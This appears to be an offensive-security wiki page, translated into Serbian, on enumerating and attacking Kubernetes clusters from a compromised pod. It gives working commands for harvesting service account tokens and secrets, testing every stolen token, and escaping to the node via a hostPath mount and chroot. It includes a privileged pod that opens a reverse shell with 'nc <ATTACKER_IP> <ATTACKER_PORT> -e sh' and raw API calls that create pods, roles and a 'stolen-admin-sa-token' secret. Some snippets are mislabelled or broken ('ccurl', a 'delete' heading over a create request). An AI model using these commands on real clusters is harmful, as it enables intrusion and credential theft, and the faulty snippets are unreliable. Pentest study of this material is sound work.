# Kubernetes Enumeration

{{#include ../../banners/hacktricks-training.md}}

## Kubernetes Tokens

Ako imate kompromitovan pristup mašini, korisnik može imati pristup nekoj Kubernetes platformi. Token se obično nalazi u datoteci na koju ukazuje **env var `KUBECONFIG`** ili **unutar `~/.kube`**.

U ovoj fascikli možete pronaći konfiguracione datoteke sa **tokenima i konfiguracijama za povezivanje sa API serverom**. U ovoj fascikli takođe možete pronaći fasciklu sa kešom sa informacijama prethodno preuzetim.

Ako ste kompromitovali pod unutar kubernetes okruženja, postoje i druga mesta gde možete pronaći tokene i informacije o trenutnom K8 okruženju:

### Service Account Tokens

Pre nego što nastavite, ako ne znate šta je servis u Kubernetes-u, preporučujem vam da **pratite ovaj link i pročitate barem informacije o Kubernetes arhitekturi.**

Preuzeto iz Kubernetes [dokumentacije](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#use-the-default-service-account-to-access-the-api-server):

_“Kada kreirate pod, ako ne navedete servisni nalog, automatski se dodeljuje_ default _servisni nalog u istoj imenskoj oblasti.”_

**ServiceAccount** je objekat kojim upravlja Kubernetes i koristi se za pružanje identiteta za procese koji se izvršavaju u podu.\
Svaki servisni nalog ima tajnu povezanu sa njim i ova tajna sadrži bearer token. Ovo je JSON Web Token (JWT), metoda za sigurno predstavljanje zahteva između dve strane.

Obično **jedna** od fascikli:

- `/run/secrets/kubernetes.io/serviceaccount`
- `/var/run/secrets/kubernetes.io/serviceaccount`
- `/secrets/kubernetes.io/serviceaccount`

sadrži datoteke:

- **ca.crt**: To je ca sertifikat za proveru kubernetes komunikacija
- **namespace**: Ukazuje na trenutnu imensku oblast
- **token**: Sadrži **servisni token** trenutnog poda.

Sada kada imate token, možete pronaći API server unutar promenljive okruženja **`KUBECONFIG`**. Za više informacija pokrenite `(env | set) | grep -i "kuber|kube`**`"`**

Token servisnog naloga se potpisuje ključem koji se nalazi u datoteci **sa.key** i validira se pomoću **sa.pub**.

Podrazumevana lokacija na **Kubernetes**:

- /etc/kubernetes/pki

Podrazumevana lokacija na **Minikube**:

- /var/lib/localkube/certs

### Hot Pods

_**Hot pods su**_ podovi koji sadrže privilegovani token servisnog naloga. Privilegovani token servisnog naloga je token koji ima dozvolu za obavljanje privilegovanih zadataka kao što su listanje tajni, kreiranje podova, itd.

## RBAC

Ako ne znate šta je **RBAC**, **pročitajte ovaj odeljak**.

## GUI Applications

- **k9s**: GUI koji enumeriše kubernetes klaster iz terminala. Proverite komande u [https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/). Napišite `:namespace` i izaberite sve da biste zatim pretražili resurse u svim imenskim oblastima.
- **k8slens**: Nudi nekoliko besplatnih probnih dana: [https://k8slens.dev/](https://k8slens.dev/)

## Enumeration CheatSheet

Da biste enumerisali K8s okruženje, potrebni su vam neki od ovih:

- **validan autentifikacioni token**. U prethodnom odeljku smo videli gde da tražimo korisnički token i token servisnog naloga.
- **adresa (**_**https://host:port**_**) Kubernetes API**. Ovo se obično može pronaći u promenljivim okruženja i/ili u kube konfiguracionoj datoteci.
- **Opcionalno**: **ca.crt za verifikaciju API servera**. Ovo se može pronaći na istim mestima gde se može pronaći token. Ovo je korisno za verifikaciju sertifikata API servera, ali korišćenjem `--insecure-skip-tls-verify` sa `kubectl` ili `-k` sa `curl` vam to neće biti potrebno.

Sa tim detaljima možete **enumerisati kubernetes**. Ako je **API** iz nekog razloga **dostupan** putem **Interneta**, možete jednostavno preuzeti te informacije i enumerisati platformu sa vaše mašine.

Međutim, obično je **API server unutar interne mreže**, stoga ćete morati da **napravite tunel** kroz kompromitovanu mašinu da biste mu pristupili sa vaše mašine, ili možete **otpremiti** [**kubectl**](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux) binarni fajl, ili koristiti **`curl/wget/anything`** za izvođenje sirovih HTTP zahteva ka API serveru.

### Differences between `list` and `get` verbs

Sa **`get`** dozvolama možete pristupiti informacijama o specifičnim resursima (_`describe` opcija u `kubectl`_) API:
```
GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}
```
Ako imate **`list`** dozvolu, dozvoljeno vam je da izvršavate API zahteve za listanje tipa imovine (_`get` opcija u `kubectl`_):
```bash
#In a namespace
GET /apis/apps/v1/namespaces/{namespace}/deployments
#In all namespaces
GET /apis/apps/v1/deployments
```
Ako imate **`watch`** dozvolu, dozvoljeno vam je da izvršavate API zahteve za praćenje resursa:
```
GET /apis/apps/v1/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name}  [DEPRECATED]
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments  [DEPRECATED]
GET /apis/apps/v1/watch/deployments  [DEPRECATED]
```
Oni otvaraju streaming vezu koja vam vraća puni manifest jednog Deployment-a svaki put kada se promeni (ili kada se kreira novi).

> [!CAUTION]
> Sledeće `kubectl` komande pokazuju samo kako da se navedu objekti. Ako želite da pristupite podacima, treba da koristite `describe` umesto `get`

### Korišćenje curl-a

Iz unutrašnjosti poda možete koristiti nekoliko env varijabli:
```bash
export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
export TOKEN=$(cat ${SERVICEACCOUNT}/token)
export CACERT=${SERVICEACCOUNT}/ca.crt
alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\""
# if kurl is still got cert Error, using -k option to solve this.
```
> [!WARNING]
> Pod može **pristupiti** **kube-api serveru** u imenskom prostoru **`kubernetes.default.svc`** i možete videti kube mrežu u **`/etc/resolv.config`** jer ćete ovde pronaći adresu kubernetes DNS servera (".1" iste opsega je kube-api krajnja tačka).

### Korišćenje kubectl

Imajući token i adresu API servera, koristite kubectl ili curl za pristup kao što je ovde naznačeno:

Podrazumevano, APISERVER komunicira sa `https://` šemom.
```bash
alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces
```
> ako nema `https://` u URL-u, možete dobiti grešku poput Bad Request.

Možete pronaći [**službeni kubectl cheatsheet ovde**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/). Cilj sledećih sekcija je da predstavi različite opcije za enumeraciju i razumevanje novog K8s na koji ste dobili pristup.

Da biste pronašli HTTP zahtev koji `kubectl` šalje, možete koristiti parametar `-v=8`

#### MitM kubectl - Proxyfying kubectl
```bash
# Launch burp
# Set proxy
export HTTP_PROXY=http://localhost:8080
export HTTPS_PROXY=http://localhost:8080
# Launch kubectl
kubectl get namespace --insecure-skip-tls-verify=true
```
### Trenutna Konfiguracija

{{#tabs }}
{{#tab name="Kubectl" }}
```bash
kubectl config get-users
kubectl config get-contexts
kubectl config get-clusters
kubectl config current-context

# Change namespace
kubectl config set-context --current --namespace=<namespace>
```
{{#endtab }}
{{#endtabs }}

Ako ste uspeli da ukradete kredencijale nekih korisnika, možete ih **konfigurisati lokalno** koristeći nešto poput:
```bash
kubectl config set-credentials USER_NAME \
--auth-provider=oidc \
--auth-provider-arg=idp-issuer-url=( issuer url ) \
--auth-provider-arg=client-id=( your client id ) \
--auth-provider-arg=client-secret=( your client secret ) \
--auth-provider-arg=refresh-token=( your refresh token ) \
--auth-provider-arg=idp-certificate-authority=( path to your ca certificate ) \
--auth-provider-arg=id-token=( your id_token )
```
### Dobijanje podržanih resursa

Sa ovom informacijom ćete znati sve usluge koje možete navesti

{{#tabs }}
{{#tab name="kubectl" }}
```bash
k api-resources --namespaced=true #Resources specific to a namespace
k api-resources --namespaced=false #Resources NOT specific to a namespace
```
{{#endtab }}
{{#endtabs }}

### Dobijte trenutne privilegije

{{#tabs }}
{{#tab name="kubectl" }}
```bash
k auth can-i --list #Get privileges in general
k auth can-i --list -n custnamespace #Get privileves in custnamespace

# Get service account permissions
k auth can-i --list --as=system:serviceaccount:<namespace>:<sa_name> -n <namespace>
```
{{#endtab }}

{{#tab name="API" }}
```bash
kurl -i -s -k -X $'POST' \
-H $'Content-Type: application/json' \
--data-binary $'{\"kind\":\"SelfSubjectRulesReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"metadata\":{\"creationTimestamp\":null},\"spec\":{\"namespace\":\"default\"},\"status\":{\"resourceRules\":null,\"nonResourceRules\":null,\"incomplete\":false}}\x0a' \
"https://$APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews"
```
{{#endtab }}
{{#endtabs }}

Još jedan način da proverite svoje privilegije je korišćenje alata: [**https://github.com/corneliusweig/rakkess**](https://github.com/corneliusweig/rakkess)\*\*\*\*

Možete saznati više o **Kubernetes RBAC** u:

{{#ref}}
kubernetes-role-based-access-control-rbac.md
{{#endref}}

**Kada znate koje privilegije** imate, proverite sledeću stranicu da biste utvrdili **da li ih možete zloupotrebiti** za eskalaciju privilegija:

{{#ref}}
abusing-roles-clusterroles-in-kubernetes/
{{#endref}}

### Dobijanje drugih uloga

{{#tabs }}
{{#tab name="kubectl" }}
```bash
k get roles
k get clusterroles
```
{{#endtab }}

{{#tab name="API" }}
```bash
kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/roles?limit=500"
kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/clusterroles?limit=500"
```
{{#endtab }}
{{#endtabs }}

### Dobijanje imenskih prostora

Kubernetes podržava **više virtuelnih klastera** koji se oslanjaju na isti fizički klaster. Ovi virtuelni klasteri se nazivaju **imenski prostori**.

{{#tabs }}
{{#tab name="kubectl" }}
```bash
k get namespaces
```
{{#endtab }}

{{#tab name="API" }}
```bash
kurl -k -v https://$APISERVER/api/v1/namespaces/
```
{{#endtab }}
{{#endtabs }}

### Dobijanje tajni

{{#tabs }}
{{#tab name="kubectl" }}
```bash
k get secrets -o yaml
k get secrets -o yaml -n custnamespace
```
{{#endtab }}

{{#tab name="API" }}
```bash
kurl -v https://$APISERVER/api/v1/namespaces/default/secrets/

kurl -v https://$APISERVER/api/v1/namespaces/custnamespace/secrets/
```
{{#endtab }}
{{#endtabs }}

Ako možete da čitate tajne, možete koristiti sledeće linije da dobijete privilegije povezane sa svakim tokenom:
```bash
for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done
```
### Dobijanje servisnih naloga

Kao što je pomenuto na početku ove stranice **kada se pod pokrene, obično mu se dodeljuje servisni nalog**. Stoga, listanje servisnih naloga, njihovih dozvola i gde se pokreću može omogućiti korisniku da eskalira privilegije.

{{#tabs }}
{{#tab name="kubectl" }}
```bash
k get serviceaccounts
```
{{#endtab }}

{{#tab name="API" }}
```bash
kurl -k -v https://$APISERVER/api/v1/namespaces/{namespace}/serviceaccounts
```
{{#endtab }}
{{#endtabs }}

### Preuzmi implementacije

Implementacije definišu **komponente** koje treba **pokrenuti**.

{{#tabs }}
{{#tab name="kubectl" }}
```bash
k get deployments
k get deployments -n custnamespace
```
{{#endtab }}

{{#tab name="API" }}
```bash
kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/deployments/
```
{{#endtab }}
{{#endtabs }}

### Preuzmi Podove

Podovi su stvarni **kontejneri** koji će **raditi**.

{{#tabs }}
{{#tab name="kubectl" }}
```bash
k get pods
k get pods -n custnamespace
```
{{#endtab }}

{{#tab name="API" }}
```bash
kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/pods/
```
{{#endtab }}
{{#endtabs }}

### Dobijanje usluga

Kubernetes **usluge** se koriste za **izlaganje usluge na određenom portu i IP** (koji će delovati kao balansirnik opterećenja za podove koji zapravo nude uslugu). Ovo je zanimljivo znati gde možete pronaći druge usluge koje možete pokušati napasti.

{{#tabs }}
{{#tab name="kubectl" }}
```bash
k get services
k get services -n custnamespace
```
{{#endtab }}

{{#tab name="API" }}
```bash
kurl -v https://$APISERVER/api/v1/namespaces/default/services/
```
{{#endtab }}
{{#endtabs }}

### Dobijanje čvorova

Dobijte sve **čvorove konfigurisane unutar klastera**.

{{#tabs }}
{{#tab name="kubectl" }}
```bash
k get nodes
```
{{#endtab }}

{{#tab name="API" }}
```bash
kurl -v https://$APISERVER/api/v1/nodes/
```
{{#endtab }}
{{#endtabs }}

### Dobijanje DaemonSets

**DaeamonSets** omogućava da se osigura da **određeni pod radi na svim čvorovima** klastera (ili na odabranim). Ako obrišete DaemonSet, podovi koje on upravlja će takođe biti uklonjeni.

{{#tabs }}
{{#tab name="kubectl" }}
```bash
k get daemonsets
```
{{#endtab }}

{{#tab name="API" }}
```bash
kurl -v https://$APISERVER/apis/extensions/v1beta1/namespaces/default/daemonsets
```
{{#endtab }}
{{#endtabs }}

### Dobijanje cronjob-a

Cron poslovi omogućavaju zakazivanje pokretanja poda koji će izvršiti neku radnju koristeći crontab sintaksu.

{{#tabs }}
{{#tab name="kubectl" }}
```bash
k get cronjobs
```
{{#endtab }}

{{#tab name="API" }}
```bash
kurl -v https://$APISERVER/apis/batch/v1beta1/namespaces/<namespace>/cronjobs
```
{{#endtab }}
{{#endtabs }}

### Preuzmi configMap

configMap uvek sadrži mnogo informacija i konfiguracionih fajlova koji se pružaju aplikacijama koje rade u kubernetesu. Obično možete pronaći mnogo lozinki, tajni, tokena koji se koriste za povezivanje i validaciju sa drugim internim/eksternim servisima.

{{#tabs }}
{{#tab name="kubectl" }}
```bash
k get configmaps # -n namespace
```
{{#endtab }}

{{#tab name="API" }}
```bash
kurl -v https://$APISERVER/api/v1/namespaces/${NAMESPACE}/configmaps
```
{{#endtab }}
{{#endtabs }}

### Dobijanje mrežnih politika / Cilium mrežnih politika

{{#tabs }}
{{#tab name="Prva kartica" }}
```bash
k get networkpolicies
k get CiliumNetworkPolicies
k get CiliumClusterwideNetworkPolicies
```
{{#endtab }}
{{#endtabs }}

### Dobij sve / Sve

{{#tabs }}
{{#tab name="kubectl" }}
```bash
k get all
```
{{#endtab }}
{{#endtabs }}

### **Dobijte sve resurse koje upravlja helm**

{{#tabs }}
{{#tab name="kubectl" }}
```bash
k get all --all-namespaces -l='app.kubernetes.io/managed-by=Helm'
```
{{#endtab }}
{{#endtabs }}

### **Dobijanje potrošnje Podova**

{{#tabs }}
{{#tab name="kubectl" }}
```bash
k top pod --all-namespaces
```
{{#endtab }}
{{#endtabs }}

## Interakcija sa klasterom bez korišćenja kubectl

S obzirom na to da Kubernetes kontrolna ravni izlaže REST-ful API, možete ručno kreirati HTTP zahteve i slati ih sa drugim alatima, kao što su **curl** ili **wget**.

### Bekstvo iz poda

Ako ste u mogućnosti da kreirate nove pode, možda ćete moći da pobegnete iz njih na čvor. Da biste to uradili, potrebno je da kreirate novi pod koristeći yaml datoteku, prebacite se na kreirani pod i zatim chroot u sistem čvora. Možete koristiti već postojeće pode kao referencu za yaml datoteku, pošto prikazuju postojeće slike i putanje.
```bash
kubectl get pod <name> [-n <namespace>] -o yaml
```
> ako treba da kreirate pod na specifičnom čvoru, možete koristiti sledeću komandu da dobijete oznake na čvoru
>
> `k get nodes --show-labels`
>
> Obično, kubernetes.io/hostname i node-role.kubernetes.io/master su sve dobre oznake za selekciju.

Zatim kreirate svoj attack.yaml fajl
```yaml
apiVersion: v1
kind: Pod
metadata:
labels:
run: attacker-pod
name: attacker-pod
namespace: default
spec:
volumes:
- name: host-fs
hostPath:
path: /
containers:
- image: ubuntu
imagePullPolicy: Always
name: attacker-pod
command: ["/bin/sh", "-c", "sleep infinity"]
volumeMounts:
- name: host-fs
mountPath: /root
restartPolicy: Never
# nodeName and nodeSelector enable one of them when you need to create pod on the specific node
#nodeName: master
#nodeSelector:
#  kubernetes.io/hostname: master
# or using
#  node-role.kubernetes.io/master: ""
```
[original yaml source](https://gist.github.com/abhisek/1909452a8ab9b8383a2e94f95ab0ccba)

Nakon toga kreirate pod
```bash
kubectl apply -f attacker.yaml [-n <namespace>]
```
Sada možete preći na kreirani pod na sledeći način
```bash
kubectl exec -it attacker-pod [-n <namespace>] -- sh # attacker-pod is the name defined in the yaml file
```
I konačno se chroot-ujete u sistem čvora
```bash
chroot /root /bin/bash
```
Informacije dobijene iz: [Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1](https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216) [Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1](https://www.inguardians.com/attacking-and-defending-kubernetes-bust-a-kube-episode-1/)

### Kreiranje privilegovanog poda

Odgovarajući yaml fajl je sledeći:
```yaml
apiVersion: v1
kind: Pod
metadata:
name: everything-allowed-exec-pod
labels:
app: pentest
spec:
hostNetwork: true
hostPID: true
hostIPC: true
containers:
- name: everything-allowed-pod
image: alpine
securityContext:
privileged: true
volumeMounts:
- mountPath: /host
name: noderoot
command: [ "/bin/sh", "-c", "--" ]
args: [ "nc <ATTACKER_IP> <ATTACKER_PORT> -e sh" ]
#nodeName: k8s-control-plane-node # Force your pod to run on the control-plane node by uncommenting this line and changing to a control-plane node name
volumes:
- name: noderoot
hostPath:
path: /
```
Kreirajte pod sa curl:
```bash
CONTROL_PLANE_HOST=""
TOKEN=""

curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 478' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"labels\":{\"app\":\"pentest\"},\"name\":\"everything-allowed-exec-pod\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"args\":[\"nc <ATTACKER_IP> <ATTACKER_PORT> -e sh\"],\"command\":[\"/bin/sh\",\"-c\",\"--\"],\"image\":\"alpine\",\"name\":\"everything-allowed-pod\",\"securityContext\":{\"privileged\":true},\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"noderoot\"}]}],\"hostIPC\":true,\"hostNetwork\":true,\"hostPID\":true,\"volumes\":[{\"hostPath\":{\"path\":\"/\"},\"name\":\"noderoot\"}]}}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
```
### Obriši pod

Obriši pod pomoću curl-a:
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
POD_NAME="everything-allowed-exec-pod"

curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods/$POD_NAME"
```
### Kreirajte servisni nalog
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"


curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Length: 109' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"ServiceAccount\",\"metadata\":{\"name\":\"secrets-manager-sa-2\",\"namespace\":\"default\"}}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
```
### Obriši servisni nalog
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
SA_NAME=""
NAMESPACE="default"

curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 35' -H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts/$SA_NAME"
```
### Kreirajte ulogu
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"


curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Content-Type: application/json' \
-H $'Accept: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 203' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"Role\",\"metadata\":{\"name\":\"secrets-manager-role\",\"namespace\":\"default\"},\"rules\":[{\"apiGroups\":[\"\"],\"resources\":[\"secrets\"],\"verbs\":[\"get\",\"create\"]}]}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
```
### Obriši ulogu
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
ROLE_NAME=""

curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles/$ROLE_NAME"
```
### Kreirajte Role Binding
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"

curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 816' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"RoleBinding\",\"metadata\":{\"name\":\"secrets-manager-role-binding\",\"namespace\":\"default\"},\"roleRef\":{\"apiGroup\":\"rbac.authorization.k8s.io\",\"kind\":\"Role\",\"name\":\"secrets-manager-role\"},\"subjects\":[{\"apiGroup\":\"\",\"kind\":\"ServiceAccount\",\"name\":\"secrets-manager-sa\",\"namespace\":\"default\"}]}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/$NAMESPACE/default/rolebindings?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
```
### Obriši vezu uloge
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
ROLE_BINDING_NAME=""

curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/rolebindings/$ROLE_BINDING_NAME"
```
### Obriši Tajnu
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"

curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 219' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/$NAMESPACE/default/secrets?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
```
### Obriši Tajnu
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
SECRET_NAME=""

ccurl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Content-Type: application/json' \
-H $'Accept: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/secrets/$SECRET_NAME"
```
## Reference

{{#ref}}
https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-3
{{#endref}}

{{#include ../../banners/hacktricks-training.md}}
